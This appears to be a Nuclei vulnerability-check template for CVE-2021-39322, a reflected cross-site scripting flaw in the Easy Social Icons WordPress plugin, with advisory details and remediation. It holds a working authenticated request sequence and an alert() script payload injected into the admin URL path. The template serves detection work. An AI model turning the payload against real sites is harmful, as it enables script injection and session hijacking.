The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
PoC代码[已公开]
id: CVE-2021-39322
info:
name: WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of `$_SERVER['PHP_SELF']` in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/5e0bf0b6-9809-426b-b1d4-1fb653083b58
- https://nvd.nist.gov/vuln/detail/CVE-2021-39322
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39322
- https://wpvulndb.com/vulnerabilities/5e0bf0b6-9809-426b-b1d4-1fb653083b58
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-39322
cwe-id: CWE-79
epss-score: 0.092
epss-percentile: 0.92413
cpe: cpe:2.3:a:cybernetikz:easy_social_icons:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: cybernetikz
product: easy_social_icons
framework: wordpress
tags: cve,cve2021,wordpress,wp-plugin,authenticated,wpscan,cybernetikz
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php/</script><script>alert(document.domain)</script>/?page=cnss_social_icon_page HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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